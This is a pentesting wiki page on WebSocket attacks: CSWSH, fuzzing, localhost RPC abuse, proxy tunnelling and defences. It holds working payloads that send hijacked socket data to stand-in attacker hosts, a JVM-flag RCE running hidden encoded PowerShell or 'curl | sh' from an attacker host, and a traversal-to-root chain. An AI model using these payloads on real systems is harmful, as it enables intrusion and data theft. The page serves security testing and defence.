websocket-attacks.md (31490B)
1 --- 2 title: "WebSocket Attacks" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/websocket-attacks.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/websocket-attacks.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # WebSocket Attacks 14 15 ## What are WebSockets 16 17 WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams. 18 19 ### Establishment of WebSocket Connections 20 21 A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:<sup>[[20]](#references)</sup> 22 23 ```javascript 24 var ws = new WebSocket("wss://normal-website.com/ws") 25 ``` 26 27 The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection. 28 29 During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples: 30 31 Browser sends a handshake request: 32 33 ```javascript 34 GET /chat HTTP/1.1 35 Host: normal-website.com 36 Sec-WebSocket-Version: 13 37 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== 38 Connection: keep-alive, Upgrade 39 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 40 Upgrade: websocket 41 ``` 42 43 Server's handshake response: 44 45 ```javascript 46 HTTP/1.1 101 Switching Protocols 47 Connection: Upgrade 48 Upgrade: websocket 49 Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= 50 ``` 51 52 The connection remains open for message exchange in both directions once established. 53 54 **Key Points of the WebSocket Handshake:** 55 56 - The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake. 57 - The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`. 58 - A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache. 59 - The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection. 60 61 These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication. 62 63 ### Linux console 64 65 You can use `websocat` to establish a raw connection with a websocket. 66 67 ```bash 68 websocat --insecure wss://10.10.10.10:8000 -v 69 ``` 70 71 Or to create a websocat server: 72 73 ```bash 74 websocat -s 0.0.0.0:8000 #Listen in port 8000 75 ``` 76 77 ### MitM websocket connections 78 79 If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)to perform a MitM attack between the client and the server.\ 80 Once the client is trying to connect to you can then use: 81 82 ```bash 83 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v 84 ``` 85 86 ### Websockets enumeration 87 88 You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically. 89 90 ### Websocket Debug tools 91 92 - **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication.<sup>[[1]](#references)</sup> 93 - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.** 94 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server. 95 - [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication. 96 - [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**. 97 - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.** 98 99 ## WebSocket as a transport for messaging/queue protocols (MQTT, STOMP, AMQP) 100 101 A WebSocket is just a **bidirectional transport** — it doesn't say anything about the protocol spoken on top of it. Many real-time applications (chat widgets, live support, IoT dashboards, trading frontends, notification systems) **tunnel a message-broker / pub‑sub protocol over the WebSocket** instead of inventing their own framing. When you find a WebSocket, do not assume it is a bespoke JSON API: it may be a direct pipe into a **message queue / broker**, which means topic subscription, wildcard abuse and broken authorization become in scope. 102 103 Common protocols carried over WebSockets: 104 105 - **MQTT over WebSocket**: browser chat/IoT clients (e.g. `mqtt.js`, Paho) connect to a broker over `ws://`/`wss://`, frequently on paths like `/mqtt` or `/ws`. RabbitMQ's Web MQTT plugin commonly listens on `15675/ws`.<sup>[[15]](#references)</sup> Once you can speak MQTT, you can often **subscribe to wildcard topics (`#`, `+`)** and read other users' live messages, or publish into topics — a classic broken-authorization finding.<sup>[[14]](#references)</sup> 106 - **STOMP over WebSocket**: very common with SockJS/Spring backends (e.g. `/stomp`, `/ws`). RabbitMQ Web-STOMP usually listens on `15674/ws`.<sup>[[16]](#references)</sup> 107 - **AMQP over WebSocket** and **Socket.IO** (see the Socket.IO handling section above). 108 109 ### How to identify the tunneled protocol 110 111 - Look at the **`Sec-WebSocket-Protocol`** subprotocol negotiated in the handshake (e.g. `mqtt`, `mqttv3.1`, `v12.stomp`). 112 - Inspect the connection **URL/path** (`/mqtt`, `/ws`, `/stomp`) and non-standard ports (`15675`, `15674`). 113 - Inspect the **frames**: MQTT has a tiny binary header (CONNECT/SUBSCRIBE/PUBLISH), STOMP is text (`CONNECT\n`, `SUBSCRIBE\n`, `SEND\n`). 114 - Do **frontend recon** for broker URLs and embedded credentials (often hardcoded fallback/default creds), as described in the MQTT page. 115 116 If the endpoint turns out to be an MQTT broker, jump to the MQTT page (see the "MQTT over WebSocket in web applications" section there) to enumerate topics, abuse wildcard subscriptions and reach the broker with a `mqtt`/`websocket` PoC client: 117 118 [1883 Pentesting Mqtt Mosquitto](/hacktricks/network-services-pentesting/1883-pentesting-mqtt-mosquitto) 119 120 For AMQP brokers (RabbitMQ, etc.): 121 122 [5671 5672 Pentesting Amqp](/hacktricks/network-services-pentesting/5671-5672-pentesting-amqp) 123 124 ## Decrypting Websocket 125 126 - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) 127 - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) 128 129 ## Websocket Lab 130 131 In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.<sup>[[22]](#references)</sup> 132 133 ## Websocket Fuzzing 134 135 The Burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) can also fuzz WebSocket messages. The implementation is described [here](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).<sup>[[21]](#references)</sup> 136 137 ### WebSocket Turbo Intruder (Burp extension) 138 139 PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets.<sup>[[4]](#references)[[7]](#references)</sup> Install it from the BApp Store or from source.<sup>[[5]](#references)[[6]](#references)</sup> It includes two components: 140 141 - Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines. 142 - HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends. 143 144 Basic script pattern to fuzz a WS endpoint and filter relevant responses: 145 146 ```python 147 def queue_websockets(upgrade_request, message): 148 connection = websocket_connection.create(upgrade_request) 149 for i in range(10): 150 connection.queue(message, str(i)) 151 152 def handle_outgoing_message(websocket_message): 153 results_table.add(websocket_message) 154 155 @MatchRegex(r'{\"user\":\"Hal Pline\"') 156 def handle_incoming_message(websocket_message): 157 results_table.add(websocket_message) 158 ``` 159 160 Use decorators like `@MatchRegex(...)` to reduce noise when a single message triggers multiple responses. 161 162 ### Bridge WS behind HTTP (HTTP Middleware) 163 164 Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners:<sup>[[4]](#references)</sup> 165 166 ```python 167 def create_connection(upgrade_request): 168 connection = websocket_connection.create(upgrade_request) 169 return connection 170 171 @MatchRegex(r'{\"user\":\"You\"') 172 def handle_incoming_message(websocket_message): 173 results_table.add(websocket_message) 174 ``` 175 176 Then send HTTP locally; the body is forwarded as the WS message: 177 178 ```http 179 POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 180 Host: 127.0.0.1:9000 181 Content-Length: 16 182 183 {"message":"hi"} 184 ``` 185 186 This lets you drive WS backends while filtering for “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior). 187 188 ### Socket.IO handling (handshake, heartbeats, events) 189 190 Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`.<sup>[[4]](#references)</sup> 191 192 Intruder example: 193 194 ```python 195 import burp.api.montoya.http.message.params.HttpParameter as HttpParameter 196 197 def queue_websockets(upgrade_request, message): 198 connection = websocket_connection.create( 199 upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) 200 connection.queue('40') 201 connection.queue('42["message","hello"]') 202 203 @Pong("3") 204 def handle_outgoing_message(websocket_message): 205 results_table.add(websocket_message) 206 207 @PingPong("2", "3") 208 def handle_incoming_message(websocket_message): 209 results_table.add(websocket_message) 210 ``` 211 212 HTTP adapter variant: 213 214 ```python 215 import burp.api.montoya.http.message.params.HttpParameter as HttpParameter 216 217 def create_connection(upgrade_request): 218 connection = websocket_connection.create( 219 upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) 220 connection.queue('40') 221 connection.decIn() 222 return connection 223 224 @Pong("3") 225 def handle_outgoing_message(websocket_message): 226 results_table.add(websocket_message) 227 228 @PingPong("2", "3") 229 def handle_incoming_message(websocket_message): 230 results_table.add(websocket_message) 231 ``` 232 233 ### Detecting server‑side prototype pollution via Socket.IO 234 235 Following PortSwigger’s safe detection technique, try polluting Express internals by sending a payload like: 236 237 ```json 238 {"__proto__":{"initialPacket":"Polluted"}} 239 ``` 240 241 If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section.<sup>[[4]](#references)[[8]](#references)</sup> See: 242 243 - Check [NodeJS – __proto__ & prototype Pollution](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview) for sinks/gadgets and chaining ideas. 244 245 ### WebSocket race conditions with Turbo Intruder 246 247 The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`.<sup>[[4]](#references)[[9]](#references)[[10]](#references)</sup> 248 249 - Learn methodology and alternatives in [Race Condition](/hacktricks/pentesting-web/race-condition) (see “RC in WebSockets”). 250 251 ### WebSocket DoS: malformed frame “Ping of Death” 252 253 Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.<sup>[[4]](#references)[[11]](#references)</sup> 254 255 ### CLI and debugging 256 257 - Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`<sup>[[4]](#references)</sup> 258 - Enable the WS Logger to capture and correlate messages using internal IDs. 259 - Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters. 260 - Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive. 261 262 ### Operational safety 263 264 High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.<sup>[[4]](#references)</sup> 265 266 ## Cross-site WebSocket hijacking (CSWSH) 267 268 **Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](/hacktricks/pentesting-web/csrf-cross-site-request-forgery)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures. 269 270 Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism. 271 272 In order for this attack to work, these are the requirements: 273 274 - The websocket **authentication must be cookie based** 275 - The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome. 276 - The WebSocket server must not check the connection's origin, or that check must be bypassable. 277 278 Also: 279 280 - If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))<sup>[[2]](#references)</sup> 281 282 ### Origin check disabled in Gorilla WebSocket (CheckOrigin always true) 283 284 In Gorilla WebSocket servers, setting `CheckOrigin` to always **return `true`** accepts handshakes from any `Origin`. When the WS endpoint also **lacks authentication**, any page reachable by the victim’s browser (Internet or intranet) can upgrade a socket and start reading/emitting messages cross-site.<sup>[[13]](#references)</sup> 285 286 ```html 287 <script> 288 const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket"); 289 ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"}); 290 </script> 291 ``` 292 293 Impact: real-time exfiltration of streamed data (e.g., captured emails/notifications) without user credentials when any `Origin` is accepted and the endpoint skips authentication. 294 295 ### Simple Attack 296 297 Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**. 298 299 Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.: 300 301 ```html 302 <script> 303 websocket = new WebSocket('wss://your-websocket-URL') 304 websocket.onopen = start 305 websocket.onmessage = handleReply 306 function start(event) { 307 websocket.send("READY"); // Send the message that requests confidential information 308 } 309 function handleReply(event) { 310 //Exfiltrate the confidential information to attackers server 311 fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'}) 312 } 313 </script> 314 ``` 315 316 ### Cross Origin + Cookie with a different subdomain 317 318 In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.<sup>[[3]](#references)</sup> 319 320 ### Stealing data from user 321 322 Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code: 323 324 ```javascript 325 //This is the script tag to load the websocket hooker 326 ;<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/wsHook.js"></script> 327 328 // These functions execute before a message 329 //is sent by the client or received from the server 330 //These code must be between some <script> tags or inside a .js file 331 wsHook.before = function (data, url) { 332 var xhttp = new XMLHttpRequest() 333 xhttp.open("GET", "client_msg?m=" + data, true) 334 xhttp.send() 335 } 336 wsHook.after = function (messageEvent, url, wsObject) { 337 var xhttp = new XMLHttpRequest() 338 xhttp.open("GET", "server_msg?m=" + messageEvent.data, true) 339 xhttp.send() 340 return messageEvent 341 } 342 ``` 343 344 Now download the `wsHook.js` file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) and **save it inside the folder with the web files**.\ 345 Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket: 346 347 ```javascript 348 sudo python3 -m http.server 80 349 ``` 350 351 ### CSWSH Protections 352 353 The CSWSH attack is based on the fact that an **user will connect to a malicious page** that will **open a websocket connection** to a web page where the user is already connected and will authenticate as him as the request will send the user's cookies. 354 355 Nowadays, it's very easy to prevent this issue: 356 357 - **WebSocket server origin validation**: The WebSocket server should validate the connection's `Origin` header so unexpected pages cannot connect. 358 - **Authentication token**: Instead of relying on a cookie, the WebSocket connection can require an unpredictable per-user token, similar to an anti-CSRF token. 359 - **SameSite cookie attribute**: Cookies marked `SameSite=Lax` or `Strict` are generally not sent from an attacker's cross-site page to the victim WebSocket endpoint, so cookie-based authentication fails. Browsers also apply **Lax by default** when `SameSite` is omitted. Chromium's “Lax-allowing-unsafe” compatibility behavior can include a cookie created no more than two minutes earlier, but only for qualifying top-level unsafe navigations; it does not normally make a cross-site WebSocket handshake eligible. Verify the target browser's current behavior.<sup>[[23]](#references)</sup> 360 - **Firefox Total Cookie Protection**: Total Cookie Protection isolates cookies to the site where they were created. Each site has its own cookie-storage partition, preventing third parties from linking a user's browsing history. This can make **CSWSH unusable** because the attacker's site cannot cause the victim's partitioned cookie to be sent. 361 - **Chrome third-party cookie blocking**: Blocking third-party cookies can also prevent an authenticated cookie from being sent to the WebSocket server, even with `SameSite=None`. 362 363 ### Localhost WebSocket abuse & browser port discovery 364 365 Desktop launchers frequently spin up helpers (e.g., CurseForge's `CurseAgent.exe`) that expose JSON-RPC WebSockets on `127.0.0.1:<random_port>`. The browser **does not enforce SOP on loopback sockets**, so any Web page can attempt the handshake. If the agent accepts arbitrary `Origin` values and skips secondary authentication, the IPC surface becomes remotely controllable directly from JavaScript.<sup>[[12]](#references)</sup> 366 367 #### Enumerating exposed methods 368 369 Capture a legitimate session to learn the protocol contract. CurseForge, for instance, emits frames such as `{"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}` where `name` is the RPC method and `args` contains structured objects (GUIDs, resolution, flags, etc.). Once this shape is known you can invoke methods such as `createModpack`, `minecraftGetDefaultLocation`, or any other privileged task straight from an injected page. 370 371 #### Browser-based port discovery 372 373 Because the helper binds to a random high port, the exploit first brute-forces localhost over WebSockets. Chromium-based browsers tolerate ~16k failed upgrades before throttling, which is enough to walk the ephemeral range; Firefox tends to crash or freeze after a few hundred failures, so practical PoCs often target Chromium. 374 375 <details> 376 <summary>Minimal browser scanner</summary> 377 378 ```javascript 379 async function findLocalWs(start = 20000, end = 36000) { 380 for (let port = start; port <= end; port++) { 381 await new Promise((resolve) => { 382 const ws = new WebSocket(`ws://127.0.0.1:${port}/`); 383 let settled = false; 384 const finish = () => { if (!settled) { settled = true; resolve(); } }; 385 ws.onerror = ws.onclose = finish; 386 ws.onopen = () => { 387 console.log(`Found candidate on ${port}`); 388 ws.close(); 389 finish(); 390 }; 391 }); 392 } 393 } 394 ``` 395 396 </details> 397 398 Once a connection survives the handshake and returns protocol-specific data, reuse that socket for the RPC chain. 399 400 #### Chaining JSON-RPC methods into RCE 401 402 The CurseForge exploit chains two unauthenticated calls: 403 404 1. `createModpack` → returns a new `MinecraftInstanceGuid` without user interaction. 405 2. `minecraftTaskLaunchInstance` → launches that GUID while accepting arbitrary JVM flags through `AdditionalJavaArguments`. 406 407 JNI/JVM diagnostic options then provide a turnkey RCE primitive. For example, cap the metaspace to force a crash and leverage the error hook for command execution: 408 409 ```text 410 -XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..." 411 ``` 412 413 On Unix targets simply swap the payload with `/bin/sh -c 'curl https://attacker/p.sh | sh'`. This works even when you cannot touch the application code—controlling the JVM CLI is enough. 414 415 This “create resource → privileged launch” pattern appears often in updaters and launchers. Any time method (1) yields a server-tracked identifier and method (2) executes code or spawns a process with that identifier, check whether user-controlled arguments can be injected. 416 417 418 ### Internet-facing WebSocket proxies as localhost TCP tunnels 419 420 Some appliances and web apps expose endpoints such as `/wsproxy?host=<dst>&port=<dst>` that **upgrade to WebSocket and then blindly relay arbitrary TCP bytes** to the user-chosen destination. Once the server returns **`101 Switching Protocols`**, treat the socket as an SSRF primitive with **full read/write interaction**, closer to a `gopher://` or `nc` tunnel than to a one-shot HTTP fetch.<sup>[[17]](#references)[[18]](#references)[[19]](#references)</sup> 421 422 When testing these endpoints, do not stop at `127.0.0.1`. Try multiple loopback representations because filters often block only some of them: 423 424 ```text 425 localhost 426 127.0.0.1 427 0.0.0.0 428 ::1 429 ::ffff:127.0.0.1 430 ``` 431 432 Also replay the legitimate client headers/parameters when needed (`User-Agent`, `serviceType=SSH`, `serviceType=TELNET`, etc.). In several real cases those values were only cosmetic gates and **did not restrict the tunneled protocol at all**. 433 434 #### Pivoting from the tunnel into Erlang RCE 435 436 A common next step is tunneling into **localhost-only Erlang distribution** services. If the Erlang cookie is **default, leaked, reused, or hardcoded**, the WebSocket tunnel is enough to complete the node handshake and reach RPC functions such as `os:cmd/1` or `rpc:call(Node, os, cmd, ["id"])`, yielding OS command execution as the Erlang service account without needing the appliance's normal application credentials. 437 438 For the Erlang-side tradecraft, see: 439 440 [4369 Pentesting Erlang Port Mapper Daemon Epmd](/hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd) 441 442 #### Chaining tunneled footholds into root via maintenance path traversal 443 444 Once you get a low-priv shell through the tunnel, look for **root-owned maintenance workflows** reachable locally only (rollback, hotfix removal, restore, import, upgrade hooks, etc.). A recurring bug class is: 445 446 1. The service builds a path like `<trusted-base>/<user_input>`. 447 2. `../` is not canonicalized away or the final path is not verified to stay below the trusted base. 448 3. The privileged workflow later performs dangerous actions on the attacker-selected path such as `chmod +x`, `/bin/bash <path> --unattended`, or a root-owned restart hook. 449 450 In that situation, use the initial foothold to stage `/tmp/payload.sh` or `/var/tmp/payload.sh`, then supply a traversal like `../../../../../tmp/payload.sh`. This turns an internet-facing WebSocket tunnel into a full **unauthenticated-to-root chain** whenever the same proxy also reaches the localhost maintenance service. 451 452 #### Useful detection clues 453 454 From a defensive perspective, two high-signal artefacts are: 455 456 - access-log entries showing **`101 Switching Protocols`** for WebSocket proxy paths with loopback destinations (`localhost`, `0.0.0.0`, `::ffff:127.0.0.1`) 457 - maintenance / rollback logs containing **`../` traversal sequences** or execution of scripts from writable paths such as `/tmp` or `/var/tmp` 458 459 460 ## Race Conditions 461 462 Race Conditions in WebSockets are also a thing, [check this information to learn more](/hacktricks/pentesting-web/race-condition#rc-in-websockets). 463 464 ## Other vulnerabilities 465 466 As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.** 467 468 ## **WebSocket Smuggling** 469 470 This vulnerability could allow you to **bypass reverse proxies restrictions** by making them believe that a **websocket communication was stablished** (even if it isn't true). This could allow an attacker to **access hidden endpoints**. For more information check the following page: 471 472 473 [H2C Smuggling](/hacktricks/pentesting-web/h2c-smuggling) 474 475 ## References 476 477 - [1] [Intercepting and modifying WebSocket messages – PortSwigger Web Security Academy](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) 478 - [2] [Cross-Site WebSocket Hijacking: Exploitation in 2025 – IncludeSecurity Blog](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) 479 - [3] [Gitpod Remote Code Execution Vulnerability via WebSockets – Snyk](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 480 - [4] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) 481 - [5] [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066) 482 - [6] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) 483 - [7] [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) 484 - [8] [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers) 485 - [9] [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC) 486 - [10] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) 487 - [11] [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py) 488 - [12] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) 489 - [13] [Two CVEs, Zero Ego: A Mailpit Story](https://rosecurify.com/two-cves-zero-ego-a-mailpit-story/) 490 - [14] [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741) 491 - [15] [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt) 492 - [16] [RabbitMQ Web STOMP Plugin](https://www.rabbitmq.com/docs/web-stomp) 493 - [17] [Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)](https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/) 494 - [18] [SonicWall Security Advisory SNWLID-2026-0008](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008) 495 - [19] [rapid7-CVE-2026-15409 PoC](https://github.com/remmons-r7/rapid7-CVE-2026-15409) 496 - [20] [Cross-Site WebSocket Hijacking (CSWSH)](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) 497 - [21] [Fuzzing WebSockets with Backslash Powered Scanner](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) 498 - [22] [security.humanativaspa.it - Extending Burp Suite For Fun And Profit The Montoya Way Part 3](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3) 499 - [23] [MDN - `Set-Cookie`: default `SameSite=Lax` and the two-minute compatibility window](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value)